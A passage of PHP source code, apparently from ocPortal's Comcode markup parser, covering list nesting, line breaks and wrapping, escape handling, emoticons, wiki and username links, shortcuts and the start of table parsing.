Rule?\n\t\t\t\t\t\telse\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\tlist($close_list,$list_indent)=_close_open_lists($list_indent,$list_type);\n\t\t\t\t\t\t\tif ($GLOBALS['XSS_DETECT']) ocp_mark_as_escaped($close_list);\n\t\t\t\t\t\t\t$tag_output->attach($close_list);\n\t\t\t\t\t\t\t$old_list_indent=0;\n\n\t\t\t\t\t\t\tif (($next=='-') && (!$just_title))\n\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t$scan_pos=$pos;\n\t\t\t\t\t\t\t\t$found_rule=true;\n\t\t\t\t\t\t\t\twhile ($scan_pos<$len)\n\t\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t\t$scan_next=$comcode[$scan_pos];\n\t\t\t\t\t\t\t\t\tif ($scan_next!='-')\n\t\t\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t\t\tif ($scan_next==chr(10))\n\t\t\t\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t\t\t\t++$NUM_LINES;\n\t\t\t\t\t\t\t\t\t\t\tbreak;\n\t\t\t\t\t\t\t\t\t\t} else $found_rule=false;\n\t\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t\t\t++$scan_pos;\n\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t\tif ($found_rule)\n\t\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t\t$_temp_tpl=do_template('COMCODE_TEXTCODE_LINE');\n\t\t\t\t\t\t\t\t\t$tag_output->attach($_temp_tpl);\n\t\t\t\t\t\t\t\t\t$pos=$scan_pos+1;\n\t\t\t\t\t\t\t\t\t$just_ended=true;\n\t\t\t\t\t\t\t\t\t$none_wrap_length=0;\n\t\t\t\t\t\t\t\t\tcontinue;\n\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t}\n\n\t\t\t\t\t\t// List handling\n\t\t\t\t\t\tif (($list_indent==$old_list_indent) && ($old_list_indent!=0))\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\t$temp_tpl='</li>';\n\t\t\t\t\t\t\tif ($GLOBALS['XSS_DETECT']) ocp_mark_as_escaped($temp_tpl);\n\t\t\t\t\t\t\t$tag_output->attach($temp_tpl);\n\t\t\t\t\t\t}\n\t\t\t\t\t\tfor ($i=$list_indent;$i<$old_list_indent;++$i) // Close any ended\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\t$temp_tpl='</li>';\n\t\t\t\t\t\t\tif ($GLOBALS['XSS_DETECT']) ocp_mark_as_escaped($temp_tpl);\n\t\t\t\t\t\t\t$tag_output->attach($temp_tpl);\n\t\t\t\t\t\t\t$temp_tpl=($list_type=='ul')?'</ul>':'</ol>';\n\t\t\t\t\t\t\tif ($GLOBALS['XSS_DETECT']) ocp_mark_as_escaped($temp_tpl);\n\t\t\t\t\t\t\t$tag_output->attach($temp_tpl);\n\t\t\t\t\t\t}\n\t\t\t\t\t\tif (($list_indent<$old_list_indent) && ($list_indent!=0)) // Go down one final level, because the list tag must have been nested within an li tag (we closed open li tags recursively except for the final one)\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\t$temp_tpl='</li>';\n\t\t\t\t\t\t\tif ($GLOBALS['XSS_DETECT']) ocp_mark_as_escaped($temp_tpl);\n\t\t\t\t\t\t\t$tag_output->attach($temp_tpl);\n\t\t\t\t\t\t}\n\t\t\t\t\t\tif ($found_list)\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\tif ((($list_indent-$old_list_indent)>1) && (!$lax))\n\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\treturn comcode_parse_error($preparse_mode,array('CCP_LIST_JUMPYNESS'),$pos,$comcode,$check_only);\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\tfor ($i=$old_list_indent;$i<$list_indent;++$i) // Or open any started\n\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\tswitch ($list_type)\n\t\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t\tcase 'ul':\n\t\t\t\t\t\t\t\t\t\tif ($i<$list_indent-1) $temp_tpl='<ul><li>'; else $temp_tpl='<ul>';\n\t\t\t\t\t\t\t\t\t\tif ($GLOBALS['XSS_DETECT']) ocp_mark_as_escaped($temp_tpl);\n\t\t\t\t\t\t\t\t\t\t$tag_output->attach($temp_tpl);\n\t\t\t\t\t\t\t\t\t\tbreak;\n\t\t\t\t\t\t\t\t\tcase '1':\n\t\t\t\t\t\t\t\t\t\tif ($i<$list_indent-1) $temp_tpl='<ol type=\"1\"><li>'; else $temp_tpl='<ol type=\"1\">';\n\t\t\t\t\t\t\t\t\t\tif ($GLOBALS['XSS_DETECT']) ocp_mark_as_escaped($temp_tpl);\n\t\t\t\t\t\t\t\t\t\t$tag_output->attach($temp_tpl);\n\t\t\t\t\t\t\t\t\t\tbreak;\n\t\t\t\t\t\t\t\t\tcase 'a':\n\t\t\t\t\t\t\t\t\t\tif ($i<$list_indent-1) $temp_tpl='<ol type=\"a\"><li>'; else $temp_tpl='<ol type=\"a\">';\n\t\t\t\t\t\t\t\t\t\tif ($GLOBALS['XSS_DETECT']) ocp_mark_as_escaped($temp_tpl);\n\t\t\t\t\t\t\t\t\t\t$tag_output->attach($temp_tpl);\n\t\t\t\t\t\t\t\t\t\tbreak;\n\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t$temp_tpl='<li>';\n\t\t\t\t\t\t\tif ($GLOBALS['XSS_DETECT']) ocp_mark_as_escaped($temp_tpl);\n\t\t\t\t\t\t\t$tag_output->attach($temp_tpl);\n\t\t\t\t\t\t\t$just_ended=true;\n\t\t\t\t\t\t\t$none_wrap_length=0;\n\t\t\t\t\t\t\t$next='';\n\t\t\t\t\t\t\t$pos=$scan_pos+2;\n\t\t\t\t\t\t}\n\t\t\t\t\t}\n\n\t\t\t\t\tif (($next==chr(10)) && ($white_space_area) && ($print_mode) && ($list_indent==0)) // We might need to put some queued up stuff here: when we print, we can't float thumbnails\n\t\t\t\t\t{\n\t\t\t\t\t\t$tag_output->attach($queued_tempcode);\n\t\t\t\t\t\t$queued_tempcode=new ocp_tempcode();\n\t\t\t\t\t}\n\t\t\t\t\tif (($next==chr(10)) && ($white_space_area) && (!$in_semihtml) && ((!$just_ended) || ($semiparse_mode) || (substr($comcode,$pos,3)==' - '))) // Hard-new-lines\n\t\t\t\t\t{\n\t\t\t\t\t\t++$NUM_LINES;\n\t\t\t\t\t\t$line_starting=true;\n\t\t\t\t\t\tif ($GLOBALS['XSS_DETECT']) ocp_mark_as_escaped($continuation);\n\t\t\t\t\t\t$tag_output->attach($continuation);\n\t\t\t\t\t\t$continuation='';\n\t\t\t\t\t\t$just_new_line=true;\n\t\t\t\t\t\t$none_wrap_length=0;\n\t\t\t\t\t\tif (($list_indent==0) && (!$just_ended))\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\t$temp_tpl='<br />';\n\t\t\t\t\t\t\tif ($GLOBALS['XSS_DETECT']) ocp_mark_as_escaped($temp_tpl);\n\t\t\t\t\t\t\t$tag_output->attach($temp_tpl);\n\t\t\t\t\t\t}\n\t\t\t\t\t}\n\t\t\t\t\telse\n\t\t\t\t\t{\n\t\t\t\t\t\t$just_new_line=false;\n\n\t\t\t\t\t\tif (($next==' ') && ($white_space_area) && (!$in_semihtml))\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\tif (($line_starting) || (($pos>1) && ($comcode[$pos-2]==' '))) // Hard spaces\n\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t$next='&nbsp;';\n\t\t\t\t\t\t\t\t++$none_wrap_length;\n\t\t\t\t\t\t\t} else $none_wrap_length=0;\n\t\t\t\t\t\t\t$continuation.=($mindless_mode && $in_code_tag)?escape_html($next):$next;\n\t\t\t\t\t\t}\n\t\t\t\t\t\telseif (($next==\"\\t\") && ($white_space_area) && (!$in_semihtml))\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\tif ($GLOBALS['XSS_DETECT']) ocp_mark_as_escaped($continuation);\n\t\t\t\t\t\t\t$tag_output->attach($continuation);\n\t\t\t\t\t\t\t$continuation='';\n\t\t\t\t\t\t\t$tab_tpl=do_template('COMCODE_TEXTCODE_TAB');\n\t\t\t\t\t\t\t$_tab_tpl=$tab_tpl->evaluate();\n\t\t\t\t\t\t\t$none_wrap_length+=strlen($_tab_tpl);\n\t\t\t\t\t\t\t$tag_output->attach($tab_tpl);\n\t\t\t\t\t\t} else\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\tif (($next==' ') || ($next==\"\\t\") || ($just_ended)) $none_wrap_length=0; else\n\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\tif ((!is_null($wrap_pos)) && ($none_wrap_length>=$wrap_pos) && ((strtolower(get_charset())!='utf-8') || (preg_replace(array('#[\\x09\\x0A\\x0D\\x20-\\x7E]#','#[\\xC2-\\xDF][\\x80-\\xBF]#','#\\xE0[\\xA0-\\xBF][\\x80-\\xBF]#','#[\\xE1-\\xEC\\xEE\\xEF][\\x80-\\xBF]{2}#','#\\xED[\\x80-\\x9F][\\x80-\\xBF]#','#\\xF0[\\x90-\\xBF][\\x80-\\xBF]{2}#','#[\\xF1-\\xF3][\\x80-\\xBF]{3}#','#\\xF4[\\x80-\\x8F][\\x80-\\xBF]{2}#'),array('','','','','','','',''),$continuation)=='')) && ($textual_area) && (!$in_semihtml))\n\t\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t\tif ($GLOBALS['XSS_DETECT']) ocp_mark_as_escaped($continuation);\n\t\t\t\t\t\t\t\t\t$tag_output->attach($continuation);\n\t\t\t\t\t\t\t\t\t$continuation='';\n\t\t\t\t\t\t\t\t\t$temp_tpl='<br />';\n\t\t\t\t\t\t\t\t\tif ($GLOBALS['XSS_DETECT']) ocp_mark_as_escaped($temp_tpl);\n\t\t\t\t\t\t\t\t\t$tag_output->attach($temp_tpl);\n\t\t\t\t\t\t\t\t\t$none_wrap_length=0;\n\t\t\t\t\t\t\t\t} elseif ($textual_area) ++$none_wrap_length;\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t$line_starting=false;\n\t\t\t\t\t\t\t$just_ended=false;\n\n\t\t\t\t\t\t\t$differented=false; // If somehow via lookahead we've changed this to HTML and thus won't use it in raw form\n\n\t\t\t\t\t\t\t// Variable lookahead\n\t\t\t\t\t\t\tif ((!$in_code_tag) && (($next=='{') && (isset($comcode[$pos])) && (($comcode[$pos]=='$') || ($comcode[$pos]=='+') || ($comcode[$pos]=='!'))))\n\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\tif ($comcode_dangerous)\n\t\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t\tif ((!$in_code_tag) && ((!$semiparse_mode) || (in_tag_stack($tag_stack,array('url','img','flash')))))\n\t\t\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t\t\tif ($GLOBALS['XSS_DETECT']) ocp_mark_as_escaped($continuation);\n\t\t\t\t\t\t\t\t\t\t$tag_output->attach($continuation);\n\t\t\t\t\t\t\t\t\t\t$continuation='';\n\t\t\t\t\t\t\t\t\t\tif ($comcode[$pos]=='+')\n\t\t\t\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t\t\t\t$p_end=$pos+5;\n\t\t\t\t\t\t\t\t\t\t\twhile ($p_end<$len)\n\t\t\t\t\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t\t\t\t\t$p_portion=substr($comcode,$pos-1,$p_end-($pos-1)+5);\n\t\t\t\t\t\t\t\t\t\t\t\tif (substr_count($p_portion,'{+START')==substr_count($p_portion,'{+END')) break;\n\t\t\t\t\t\t\t\t\t\t\t\t$p_end++;\n\t\t\t\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t\t\t\t\t$p_len=1;\n\t\t\t\t\t\t\t\t\t\t\twhile ($pos+$p_len<$len)\n\t\t\t\t\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t\t\t\t\t$p_portion=substr($comcode,$pos-1,$p_len);\n\t\t\t\t\t\t\t\t\t\t\t\tif (substr_count(str_replace('{',' { ',$p_portion),'{')==substr_count(str_replace('}',' } ',$p_portion),'}')) break; // str_replace is to workaround a Quercus bug #4494\n\t\t\t\t\t\t\t\t\t\t\t\t$p_len++;\n\t\t\t\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t\t\t\t\t$p_len--;\n\t\t\t\t\t\t\t\t\t\t\t$p_portion=substr($comcode,$pos+$p_len,$p_end-($pos+$p_len));\n\t\t\t\t\t\t\t\t\t\t\trequire_code('tempcode_compiler');\n\t\t\t\t\t\t\t\t\t\t\t$ret=template_to_tempcode(substr($comcode,$pos-1,$p_len+1).'{DIRECTIVE_EMBEDMENT}'.substr($comcode,$p_end,6));\n\t\t\t\t\t\t\t\t\t\t\t$attaches_before=count($COMCODE_ATTACHMENTS[$pass_id]);\n\t\t\t\t\t\t\t\t\t\t\t$ret->singular_bind('DIRECTIVE_EMBEDMENT',comcode_text_to_tempcode($p_portion,$source_member,$as_admin,$wrap_pos,$pass_id,$connection,$semiparse_mode,$preparse_mode,$in_semihtml,$structure_sweep,$check_only,$highlight_bits,$on_behalf_of_member));\n\t\t\t\t\t\t\t\t\t\t\tfor ($attach_inspect=$attaches_before;$attach_inspect<count($COMCODE_ATTACHMENTS[$pass_id]);$attach_inspect++)\n\t\t\t\t\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t\t\t\t\t$COMCODE_ATTACHMENTS[$pass_id][$attach_inspect]['marker']+=$pos+$p_len;\n\t\t\t\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t\t\t\t\t$pos=$p_end+6;\n\t\t\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t\t\t\telseif ($comcode[$pos]=='!')\n\t\t\t\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t\t\t\t$p_len=$pos;\n\t\t\t\t\t\t\t\t\t\t\t$balance=1;\n\t\t\t\t\t\t\t\t\t\t\twhile (($p_len<$len) && ($balance!=0))\n\t\t\t\t\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t\t\t\t\tif ($comcode[$p_len]=='{') $balance++; elseif ($comcode[$p_len]=='}') $balance--;\n\t\t\t\t\t\t\t\t\t\t\t\t$p_len++;\n\t\t\t\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t\t\t\t\t$ret=new ocp_tempcode();\n\t\t\t\t\t\t\t\t\t\t\t$less_pos=$pos-1;\n\t\t\t\t\t\t\t\t\t\t\t$ret->parse_from($comcode,$less_pos,$p_len);\n\t\t\t\t\t\t\t\t\t\t\t$pos=$p_len;\n\t\t\t\t\t\t\t\t\t\t\tif (($ret->parameterless(0)) && ($pos<$len)) // We want to take the lang string reference as Comcode if it's a simple lang string reference with no parameters\n\t\t\t\t\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t\t\t\t\t$matches=array();\n\t\t\t\t\t\t\t\t\t\t\t\tif (preg_match('#\\{\\!([\\w\\d\\_\\:]+)(\\}|$)#U',substr($comcode,$less_pos,$p_len-$less_pos),$matches)!=0) // Hacky code to extract the lang string name\n\t\t\t\t\t\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t\t\t\t\t\t$temp_lang_string=$matches[1];\n\t\t\t\t\t\t\t\t\t\t\t\t\t$ret=comcode_lang_string($temp_lang_string); // Recreate as a Comcode lang string\n\t\t\t\t\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t\t\t\t} else\n\t\t\t\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t\t\t\t$p_len=$pos;\n\t\t\t\t\t\t\t\t\t\t\t$balance=1;\n\t\t\t\t\t\t\t\t\t\t\twhile (($p_len<$len) && ($balance!=0))\n\t\t\t\t\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t\t\t\t\tif ($comcode[$p_len]=='{') $balance++; elseif ($comcode[$p_len]=='}') $balance--;\n\t\t\t\t\t\t\t\t\t\t\t\t$p_len++;\n\t\t\t\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t\t\t\t\t$ret=new ocp_tempcode();\n\t\t\t\t\t\t\t\t\t\t\t$less_pos=$pos-1;\n\t\t\t\t\t\t\t\t\t\t\t$ret->parse_from($comcode,$less_pos,$p_len);\n\t\t\t\t\t\t\t\t\t\t\t$pos=$p_len;\n\t\t\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t\t\t\t$differented=true;\n\t\t\t\t\t\t\t\t\t\tif (($pos<=$len) || (!$lax))\n\t\t\t\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t\t\t\t$tag_output->attach($ret);\n\t\t\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t\t} else\n\t\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t\tif (($comcode[$pos]=='$') && ($pos<$len-2) && ($comcode[$pos+1]==',') && (strpos($comcode,'}',$pos)!==false))\n\t\t\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t\t\t$pos=strpos($comcode,'}',$pos)+1;\n\t\t\t\t\t\t\t\t\t\t$differented=true;\n\t\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t}\n\n\t\t\t\t\t\t\t// Escaping of comcode tag starts lookahead\n\t\t\t\t\t\t\tif (($next=='\\\\') && (!$in_code_tag)) // We are changing \\[ to [ with the side-effect of blocking a tag start. To get \\[ literal, we need the symbols \\\\[... and add extra \\-pairs as needed. We are only dealing with \\ and [ (update: and now {) here, it's not a further extended means of escaping.\n\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\tif (($pos!=$len) && (($comcode[$pos]=='\"') || (substr($comcode,$pos-1,6)=='&quot;')))\n\t\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t\tif ($semiparse_mode) $continuation.='\\\\';\n\t\t\t\t\t\t\t\t\tif ($comcode[$pos]=='\"')\n\t\t\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t\t\t$continuation.=$mindless_mode?'&quot;':'\"';\n\t\t\t\t\t\t\t\t\t\t++$pos;\n\t\t\t\t\t\t\t\t\t} else\n\t\t\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t\t\t$continuation.='&quot;';\n\t\t\t\t\t\t\t\t\t\t$pos+=6;\n\t\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t\t\t$differented=true;\n\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t\telseif (($pos!=$len) && ($comcode[$pos]=='['))\n\t\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t\tif ($semiparse_mode) $continuation.='\\\\';\n\t\t\t\t\t\t\t\t\t$continuation.='[';\n\t\t\t\t\t\t\t\t\t++$pos;\n\t\t\t\t\t\t\t\t\t$differented=true;\n\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t\telseif (($pos!=$len) && ($comcode[$pos]=='{'))\n\t\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t\tif ($semiparse_mode) $continuation.='\\\\';\n\t\t\t\t\t\t\t\t\t$continuation.='{';\n\t\t\t\t\t\t\t\t\t++$pos;\n\t\t\t\t\t\t\t\t\t$differented=true;\n\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t\telseif (($pos==$len) || ($comcode[$pos]=='\\\\'))\n\t\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t\tif ($semiparse_mode) $continuation.='\\\\';\n\t\t\t\t\t\t\t\t\t$continuation.='\\\\';\n\t\t\t\t\t\t\t\t\t++$pos;\n\t\t\t\t\t\t\t\t\t$differented=true;\n\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t}\n\n\t\t\t\t\t\t\tif (!$differented)\n\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\tif ((($textual_area) || ($in_semihtml)) && (trim($next)!='') && (!$wml))\n\t\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t\t// Emoticon lookahead\n\t\t\t\t\t\t\t\t\tforeach ($smilies as $smiley=>$imgcode)\n\t\t\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t\t\tif ($in_semihtml) $smiley=' '.$smiley.' ';\n\n\t\t\t\t\t\t\t\t\t\tif ($next==$smiley[0]) // optimisation\n\t\t\t\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t\t\t\tif (substr($comcode,$pos-1,strlen($smiley))==$smiley)\n\t\t\t\t\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t\t\t\t\tif ($GLOBALS['XSS_DETECT']) ocp_mark_as_escaped($continuation);\n\t\t\t\t\t\t\t\t\t\t\t\t$tag_output->attach($continuation);\n\t\t\t\t\t\t\t\t\t\t\t\t$continuation='';\n\t\t\t\t\t\t\t\t\t\t\t\t$pos+=strlen($smiley)-1;\n\t\t\t\t\t\t\t\t\t\t\t\t$differented=true;\n\t\t\t\t\t\t\t\t\t\t\t\t$tag_output->attach(do_emoticon($imgcode));\n\t\t\t\t\t\t\t\t\t\t\t\tbreak;\n\t\t\t\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\tif ((trim($next)!='') && (!$in_code_tag) && (!$differented))\n\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t// CEDI pages\n\t\t\t\t\t\t\t\tif (($pos<$len) && ($next=='[') && ($pos+1<$len) && ($comcode[$pos]=='[') && (!$semiparse_mode) && (addon_installed('cedi')))\n\t\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t\t$matches=array();\n\t\t\t\t\t\t\t\t\tif (preg_match('#^\\[([^\\[\\]]*)\\]\\]#',substr($comcode,$pos,200),$matches)!=0)\n\t\t\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t\t\t$cedi_page_name=$matches[1];\n\t\t\t\t\t\t\t\t\t\tif ($GLOBALS['XSS_DETECT']) ocp_mark_as_escaped($continuation);\n\t\t\t\t\t\t\t\t\t\t$tag_output->attach($continuation);\n\t\t\t\t\t\t\t\t\t\t$continuation='';\n\t\t\t\t\t\t\t\t\t\t$hash_pos=strpos($cedi_page_name,'#');\n\t\t\t\t\t\t\t\t\t\tif ($hash_pos!==false)\n\t\t\t\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t\t\t\t$jump_to=substr($cedi_page_name,$hash_pos+1);\n\t\t\t\t\t\t\t\t\t\t\t$cedi_page_name=substr($cedi_page_name,0,$hash_pos);\n\t\t\t\t\t\t\t\t\t\t} else $jump_to='';\n\t\t\t\t\t\t\t\t\t\t$cedi_page_url=build_url(array('page'=>'cedi','type'=>'misc','find'=>$cedi_page_name),get_module_zone('cedi'));\n\t\t\t\t\t\t\t\t\t\tif ($jump_to!='')\n\t\t\t\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t\t\t\t$cedi_page_url->attach('#'.$jump_to);\n\t\t\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t\t\t\t$tag_output->attach(do_template('COMCODE_CEDI_LINK',array('_GUID'=>'ebcd7ba5290c5b2513272a53b4d666e5','URL'=>$cedi_page_url,'TEXT'=>$cedi_page_name)));\n\t\t\t\t\t\t\t\t\t\t$pos+=strlen($matches[1])+3;\n\t\t\t\t\t\t\t\t\t\t$differented=true;\n\t\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t\t}\n\n\t\t\t\t\t\t\t\t// Usernames\n\t\t\t\t\t\t\t\tif (($pos<$len) && ($next=='{') && ($pos+1<$len) && ($comcode[$pos]=='{') && (!$in_code_tag) && (!$semiparse_mode))\n\t\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t\t$matches=array();\n\t\t\t\t\t\t\t\t\tif (preg_match('#^\\{([^\"{}&\\'\\$<>]+)\\}\\}#',substr($comcode,$pos,80),$matches)!=0)\n\t\t\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t\t\t$username=$matches[1];\n\n\t\t\t\t\t\t\t\t\t\tif ($username[0]=='?')\n\t\t\t\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t\t\t\t$username_info=true;\n\t\t\t\t\t\t\t\t\t\t\t$username=substr($username,1);\n\t\t\t\t\t\t\t\t\t\t} else $username_info=false;\n\t\t\t\t\t\t\t\t\t\t$this_member_id=$GLOBALS['FORUM_DRIVER']->get_member_from_username($username);\n\t\t\t\t\t\t\t\t\t\tif ((!is_null($this_member_id)) && (!is_guest($this_member_id)))\n\t\t\t\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t\t\t\tif ($GLOBALS['XSS_DETECT']) ocp_mark_as_escaped($continuation);\n\t\t\t\t\t\t\t\t\t\t\t$tag_output->attach($continuation);\n\t\t\t\t\t\t\t\t\t\t\t$continuation='';\n\n\t\t\t\t\t\t\t\t\t\t\t$poster_url=$GLOBALS['FORUM_DRIVER']->member_profile_url($this_member_id,false,true);\n\t\t\t\t\t\t\t\t\t\t\tif ((get_forum_type()=='ocf') && ($username_info))\n\t\t\t\t\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t\t\t\t\trequire_lang('ocf');\n\t\t\t\t\t\t\t\t\t\t\t\trequire_code('ocf_members2');\n\t\t\t\t\t\t\t\t\t\t\t\t$details=ocf_show_member_box($this_member_id);\n\t\t\t\t\t\t\t\t\t\t\t\t$tag_output->attach(do_template('HYPERLINK_TOOLTIP',array('_GUID'=>'d8f4f4ac70bd52b3ef9ee74ae9c5e085','TOOLTIP'=>$details,'CAPTION'=>$username,'URL'=>$poster_url,'NEW_WINDOW'=>false)));\n\t\t\t\t\t\t\t\t\t\t\t} else\n\t\t\t\t\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t\t\t\t\t$tag_output->attach(hyperlink($poster_url,$username));\n\t\t\t\t\t\t\t\t\t\t\t}\n\n\t\t\t\t\t\t\t\t\t\t\t$pos+=strlen($matches[1])+3;\n\t\t\t\t\t\t\t\t\t\t\t$differented=true;\n\t\t\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t}\n\n\t\t\t\t\t\t\tif (($textual_area) && (!$in_code_tag) && (trim($next)!='') && (!$differented))\n\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t// Shortcut lookahead\n\t\t\t\t\t\t\t\tif (!$differented)\n\t\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t\tif (($in_semihtml) && (substr($comcode,$pos-1,3)=='-->')) // To stop shortcut interpretation\n\t\t\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t\t\t$continuation.='-->';\n\t\t\t\t\t\t\t\t\t\t$pos+=2;\n\t\t\t\t\t\t\t\t\t\tbreak;\n\t\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t\t\tforeach ($shortcuts as $code=>$replacement)\n\t\t\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t\t\tif (($next==$code[0]) && (substr($comcode,$pos-1,strlen($code))==$code))\n\t\t\t\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t\t\t\tif ($GLOBALS['XSS_DETECT']) ocp_mark_as_escaped($continuation);\n\t\t\t\t\t\t\t\t\t\t\t$tag_output->attach($continuation);\n\t\t\t\t\t\t\t\t\t\t\t$continuation='';\n\t\t\t\t\t\t\t\t\t\t\t$pos+=strlen($code)-1;\n\t\t\t\t\t\t\t\t\t\t\t$differented=true;\n\t\t\t\t\t\t\t\t\t\t\tif ($GLOBALS['XSS_DETECT']) ocp_mark_as_escaped($replacement);\n\t\t\t\t\t\t\t\t\t\t\t$tag_output->attach($replacement);\n\t\t\t\t\t\t\t\t\t\t\tbreak;\n\t\t\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t}\n\n\t\t\t\t\t\t\tif (($textual_area) && (!$in_code_tag) && (trim($next)!='') && (!$differented))\n\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t// Table syntax\n\t\t\t\t\t\t\t\tif (!$differented)\n\t\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t\tif (($pos<$len) && ($comcode[$pos]=='|'))\n\t\t\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t\t\t$end_tbl=strpos($comcode,chr(10).'|}',$pos);\n\t\t\t\t\t\t\t\t\t\tif ($end_tbl!==false)\n\t\t\t\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t\t\t\t$end_fst_line_pos=strpos($comcode,chr(10),$pos);\n\t\t\t\t\t\t\t\t\t\t\t$caption=substr($comcode,$pos+2,max($end_fst_line_pos-$pos-2,0));\n\t\t\t\t\t\t\t\t\t\t\t$pos+=strlen($caption)+1;\n\n\t\t\t\t\t\t\t\t\t\t\t$rows=preg_split('#(\\|-|\\|\\})#Um',substr($comcode,$pos,$end_tbl-$pos));\n\t\t\t\t\t\t\t\t\t\t\tif 